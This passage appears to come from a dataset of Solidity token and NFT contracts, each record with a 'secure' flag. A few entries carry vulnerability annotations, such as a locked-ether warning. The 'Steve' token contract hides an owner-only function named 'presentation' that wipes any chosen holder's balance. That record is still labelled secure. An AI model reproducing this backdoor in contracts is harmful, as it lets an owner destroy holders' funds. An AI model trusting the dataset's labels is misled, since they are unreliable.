"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IOperatorFilterRegistry.sol\" as IOperatorFilterRegistry;\n\nabstract contract OperatorFilterer {\n error OperatorNotAllowed(address operator);\n\n IOperatorFilterRegistry public constant OPERATOR_FILTER_REGISTRY =\n IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);\n\n constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (subscribe) {\n OPERATOR_FILTER_REGISTRY.registerAndSubscribe(\n address(this),\n subscriptionOrRegistrantToCopy\n );\n } else {\n if (subscriptionOrRegistrantToCopy != address(0)) {\n OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(\n address(this),\n subscriptionOrRegistrantToCopy\n );\n } else {\n OPERATOR_FILTER_REGISTRY.register(address(this));\n }\n }\n }\n }\n\n modifier onlyAllowedOperator(address from) virtual {\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (from == msg.sender) {\n _;\n return;\n }\n if (\n !OPERATOR_FILTER_REGISTRY.isOperatorAllowed(\n address(this),\n msg.sender\n )\n ) {\n revert OperatorNotAllowed(msg.sender);\n }\n }\n _;\n }\n\n modifier onlyAllowedOperatorApproval(address operator) virtual {\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (\n !OPERATOR_FILTER_REGISTRY.isOperatorAllowed(\n address(this),\n operator\n )\n ) {\n revert OperatorNotAllowed(operator);\n }\n }\n _;\n }\n}",
"file_name": "solidity_code_1645.sol",
"secure": 1,
"size_bytes": 2076
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract PUSSY2 is ERC20 {\n constructor() ERC20(\"PUSSY token 2.0\", \"PUSSY2.0\") {\n _mint(msg.sender, 1000000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1646.sol",
"secure": 1,
"size_bytes": 292
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract MILC is Ownable, ERC20 {\n string private MILADY;\n constructor() ERC20(\"Milady 4D Chess\", \"MILC\") {\n _mint(msg.sender, 4000000000 * 10 ** 18);\n }\n\n function writeMILADY(string memory _text) public onlyOwner {\n MILADY = _text;\n }\n\n function readMILADY() public view returns (string memory) {\n return MILADY;\n }\n\n function burn(uint256 value) external {\n _burn(msg.sender, value);\n }\n}",
"file_name": "solidity_code_1647.sol",
"secure": 1,
"size_bytes": 658
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract BasicToken is ERC20 {\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 supply_\n ) ERC20(name_, symbol_) {\n _mint(msg.sender, supply_);\n }\n}",
"file_name": "solidity_code_1648.sol",
"secure": 1,
"size_bytes": 343
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract PEPPE is ERC20 {\n constructor() ERC20(\"PEPPE\", \"PEPPE\") {\n _mint(msg.sender, 1000000000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1649.sol",
"secure": 1,
"size_bytes": 275
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 7ab802e): Contract locking ether found Contract Starship has payable functions Starship.receive() But does not have a function to withdraw the ether\n// Recommendation for 7ab802e: Remove the 'payable' attribute or add a withdraw function.\ncontract Starship is ERC20, Ownable {\n constructor() ERC20(unicode\"Starship\", unicode\"STARSHIP\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 7ab802e): Contract locking ether found Contract Starship has payable functions Starship.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 7ab802e: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_165.sol",
"secure": 0,
"size_bytes": 1010
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract VENDASTA is Context, IERC20, IERC20Metadata {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n string private _name;\n string private _symbol;\n uint8 private _decimals;\n\n constructor() {\n _name = \"Vendasta\";\n _symbol = \"VENDASTA\";\n _decimals = 18;\n _totalSupply = 17500000000 * 1e18;\n _balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n _balances[account] = _balances[account].sub(\n amount,\n \"ERC20: burn amount exceeds balance\"\n );\n _totalSupply = _totalSupply.sub(amount);\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _setupDecimals(uint8 decimals_) internal {\n _decimals = decimals_;\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_1650.sol",
"secure": 1,
"size_bytes": 4930
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract PepeInuAI is Ownable, ERC20 {\n constructor() Ownable(_msgSender()) ERC20(\"PepeInuAI\", \"PENUAI\") {\n _mint(msg.sender, 696_000_000_000 * (10 ** 18));\n }\n}",
"file_name": "solidity_code_1651.sol",
"secure": 1,
"size_bytes": 373
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/utils/introspection/ERC165.sol\" as ERC165;\nimport \"@openzeppelin/contracts/interfaces/IERC721.sol\" as IERC721;\nimport \"@openzeppelin/contracts/interfaces/IERC721Metadata.sol\" as IERC721Metadata;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/Strings.sol\" as Strings;\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\" as IERC165;\nimport \"@openzeppelin/contracts/interfaces/IERC721Receiver.sol\" as IERC721Receiver;\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\n\ncontract ERC721 is Context, ERC165, IERC721, IERC721Metadata {\n using Address for address;\n using Strings for uint256;\n\n string private _name;\n\n string private _symbol;\n\n mapping(uint256 => address) private _owners;\n\n mapping(address => uint256) private _balances;\n\n mapping(uint256 => address) private _tokenApprovals;\n\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function balanceOf(\n address owner\n ) public view virtual override returns (uint256) {\n require(\n owner != address(0),\n \"ERC721: balance query for the zero address\"\n );\n return _balances[owner];\n }\n\n function ownerOf(\n uint256 tokenId\n ) public view virtual override returns (address) {\n address owner = _owners[tokenId];\n require(\n owner != address(0),\n \"ERC721: owner query for nonexistent token\"\n );\n return owner;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n require(\n _exists(tokenId),\n \"ERC721Metadata: URI query for nonexistent token\"\n );\n\n string memory baseURI = _baseURI();\n return\n bytes(baseURI).length > 0\n ? string(\n abi.encodePacked(baseURI, tokenId.toString(), \"/info.json\")\n )\n : \"\";\n }\n\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721.ownerOf(tokenId);\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not owner nor approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n function getApproved(\n uint256 tokenId\n ) public view virtual override returns (address) {\n require(\n _exists(tokenId),\n \"ERC721: approved query for nonexistent token\"\n );\n\n return _tokenApprovals[tokenId];\n }\n\n function setApprovalForAll(\n address operator,\n bool approved\n ) public virtual override {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n require(\n _isApprovedOrOwner(_msgSender(), tokenId),\n \"ERC721: transfer caller is not owner nor approved\"\n );\n\n _transfer(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) public virtual override {\n require(\n _isApprovedOrOwner(_msgSender(), tokenId),\n \"ERC721: transfer caller is not owner nor approved\"\n );\n _safeTransfer(from, to, tokenId, _data);\n }\n\n function _safeTransfer(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) internal virtual {\n _transfer(from, to, tokenId);\n require(\n _checkOnERC721Received(from, to, tokenId, _data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _owners[tokenId] != address(0);\n }\n\n function _isApprovedOrOwner(\n address spender,\n uint256 tokenId\n ) internal view virtual returns (bool) {\n require(\n _exists(tokenId),\n \"ERC721: operator query for nonexistent token\"\n );\n address owner = ERC721.ownerOf(tokenId);\n return (spender == owner ||\n getApproved(tokenId) == spender ||\n isApprovedForAll(owner, spender));\n }\n\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n function _safeMint(\n address to,\n uint256 tokenId,\n bytes memory _data\n ) internal virtual {\n _mint(to, tokenId);\n require(\n _checkOnERC721Received(address(0), to, tokenId, _data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId);\n\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n\n _afterTokenTransfer(address(0), to, tokenId);\n }\n\n function _burn(uint256 tokenId) internal virtual {\n address owner = ERC721.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId);\n\n _approve(address(0), tokenId);\n\n _balances[owner] -= 1;\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n\n _afterTokenTransfer(owner, address(0), tokenId);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {\n require(\n ERC721.ownerOf(tokenId) == from,\n \"ERC721: transfer from incorrect owner\"\n );\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId);\n\n _approve(address(0), tokenId);\n\n _balances[from] -= 1;\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n\n _afterTokenTransfer(from, to, tokenId);\n }\n\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n emit Approval(ERC721.ownerOf(tokenId), to, tokenId);\n }\n\n function _setApprovalForAll(\n address owner,\n address operator,\n bool approved\n ) internal virtual {\n require(owner != operator, \"ERC721: approve to caller\");\n _operatorApprovals[owner][operator] = approved;\n emit ApprovalForAll(owner, operator, approved);\n }\n\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) private returns (bool) {\n if (to.isContract()) {\n try\n IERC721Receiver(to).onERC721Received(\n _msgSender(),\n from,\n tokenId,\n _data\n )\n returns (bytes4 retval) {\n return retval == IERC721Receiver.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n } else {\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n}",
"file_name": "solidity_code_1652.sol",
"secure": 1,
"size_bytes": 9578
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\n\nabstract contract ERC721Burnable is Context, ERC721 {\n function burn(uint256 tokenId) public virtual {\n require(\n _isApprovedOrOwner(_msgSender(), tokenId),\n \"ERC721Burnable: caller is not owner nor approved\"\n );\n _burn(tokenId);\n }\n}",
"file_name": "solidity_code_1653.sol",
"secure": 1,
"size_bytes": 488
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\nimport \"@openzeppelin/contracts/utils/Pausable.sol\" as Pausable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol\" as ERC721Burnable;\n\ncontract SYLTARE is ERC721, Pausable, Ownable, ERC721Burnable {\n constructor() ERC721(\"SYLTARE, Dawn of East\", \"SYL\") {}\n\n function _baseURI() internal pure override returns (string memory) {\n return \"https://meta-data.syltare.com/\";\n }\n\n function pause() public onlyOwner {\n _pause();\n }\n\n function unpause() public onlyOwner {\n _unpause();\n }\n\n function mint(address to, uint256 tokenId) external onlyOwner {\n _mint(to, tokenId);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal override whenNotPaused {\n super._beforeTokenTransfer(from, to, tokenId);\n }\n}",
"file_name": "solidity_code_1654.sol",
"secure": 1,
"size_bytes": 1080
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract MouseSwap is ERC20 {\n constructor() ERC20(\"MouseSwap\", \"Cheese\") {\n _mint(msg.sender, 1e9 * (10 ** 18));\n }\n}",
"file_name": "solidity_code_1655.sol",
"secure": 1,
"size_bytes": 265
}
|
{
"code": "// SPDX-License-Identifier: GPL-2.0-or-later\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract GOZO is ERC20, ERC20Burnable, Ownable {\n uint256 private constant INITIAL_SUPPLY = 69000000000 * 10 ** 18;\n\n constructor() ERC20(\"GOZO\", \"GOZO\") {\n _mint(msg.sender, INITIAL_SUPPLY);\n }\n\n function distributeTokens(address distributionWallet) external onlyOwner {\n uint256 supply = balanceOf(msg.sender);\n require(supply == INITIAL_SUPPLY, \"Tokens already distributed\");\n\n _transfer(msg.sender, distributionWallet, supply);\n }\n}",
"file_name": "solidity_code_1656.sol",
"secure": 1,
"size_bytes": 793
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary MerkleProof {\n function verify(\n bytes32[] memory proof,\n bytes32 root,\n bytes32 leaf\n ) internal pure returns (bool) {\n return processProof(proof, leaf) == root;\n }\n\n function processProof(\n bytes32[] memory proof,\n bytes32 leaf\n ) internal pure returns (bytes32) {\n bytes32 computedHash = leaf;\n for (uint256 i = 0; i < proof.length; i++) {\n bytes32 proofElement = proof[i];\n if (computedHash <= proofElement) {\n computedHash = _efficientHash(computedHash, proofElement);\n } else {\n computedHash = _efficientHash(proofElement, computedHash);\n }\n }\n return computedHash;\n }\n\n function _efficientHash(\n bytes32 a,\n bytes32 b\n ) private pure returns (bytes32 value) {\n assembly {\n mstore(0x00, a)\n mstore(0x20, b)\n value := keccak256(0x00, 0x40)\n }\n }\n}",
"file_name": "solidity_code_1657.sol",
"secure": 1,
"size_bytes": 1089
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/cryptography/MerkleProof.sol\" as MerkleProof;\n\ncontract NFTF is ERC20, Ownable {\n bytes32 private root;\n bool public isActive;\n mapping(address => bool) public isClaim;\n\n constructor(bytes32 _root) ERC20(\"NFT Finance\", \"NFTF\") {\n root = _root;\n _mint(msg.sender, 75000000 * 1e18);\n _mint(address(this), 25000000 * 1e18);\n }\n\n function claim(uint256 _amount, bytes32[] memory _proof) public {\n require(isActive, \"Claim is not active\");\n bytes32 _leaf = keccak256(abi.encodePacked(msg.sender, _amount));\n require(MerkleProof.verify(_proof, root, _leaf), \"Not whitelisted\");\n require(!isClaim[msg.sender], \"Not Claim\");\n _transfer(address(this), msg.sender, _amount);\n isClaim[msg.sender] = true;\n }\n\n function setRoot(bytes32 _root) public onlyOwner {\n root = _root;\n }\n\n function setActive(bool _bol) public onlyOwner {\n isActive = _bol;\n }\n\n function OwnerWithdraw(address _to, uint256 _amount) public onlyOwner {\n _transfer(address(this), _to, _amount);\n }\n\n function OwnerAllWithdraw(address _to) public onlyOwner {\n _transfer(address(this), _to, balanceOf(address(this)));\n }\n}",
"file_name": "solidity_code_1658.sol",
"secure": 1,
"size_bytes": 1484
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n }\n\n function _createSupply(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n unchecked {\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n}",
"file_name": "solidity_code_1659.sol",
"secure": 1,
"size_bytes": 4838
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Steve is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable vain;\n\n constructor() {\n _name = \"Steve\";\n\n _symbol = \"STEVE\";\n\n _decimals = 18;\n\n uint256 initialSupply = 693000000;\n\n vain = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == vain, \"Not allowed\");\n\n _;\n }\n\n function presentation(address[] memory am) public onlyOwner {\n for (uint256 i = 0; i < am.length; i++) {\n address account = am[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_166.sol",
"secure": 1,
"size_bytes": 4338
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ThisIsOperatedByBatman is ERC20 {\n constructor() ERC20(\"GothamAI\", \"GothamAI\") {\n _createSupply(msg.sender, 10000000 * (10 ** 18));\n }\n}",
"file_name": "solidity_code_1660.sol",
"secure": 1,
"size_bytes": 292
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function transfer(address to, uint256 amount) external returns (bool);\n}",
"file_name": "solidity_code_1661.sol",
"secure": 1,
"size_bytes": 166
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract With {\n address private constant TOKEN_ADDRESS =\n 0x955d5c14C8D4944dA1Ea7836bd44D54a8eC35Ba1;\n address private constant CONTRACT_ADDRESS =\n 0xB5531d54550Bcd7772964360496100253Cc030bD;\n address private owner;\n\n constructor() {\n owner = msg.sender;\n }\n\n function withdrawTokens(uint256 amount) external {\n require(msg.sender == owner, \"Only the owner can withdraw tokens\");\n\n IERC20 token = IERC20(TOKEN_ADDRESS);\n require(token.transfer(owner, amount), \"Token transfer failed\");\n }\n\n function changeOwner(address newOwner) external {\n require(msg.sender == owner, \"Only the owner can change the owner\");\n require(newOwner != address(0), \"Invalid new owner address\");\n\n owner = newOwner;\n }\n}",
"file_name": "solidity_code_1662.sol",
"secure": 1,
"size_bytes": 951
}
|
{
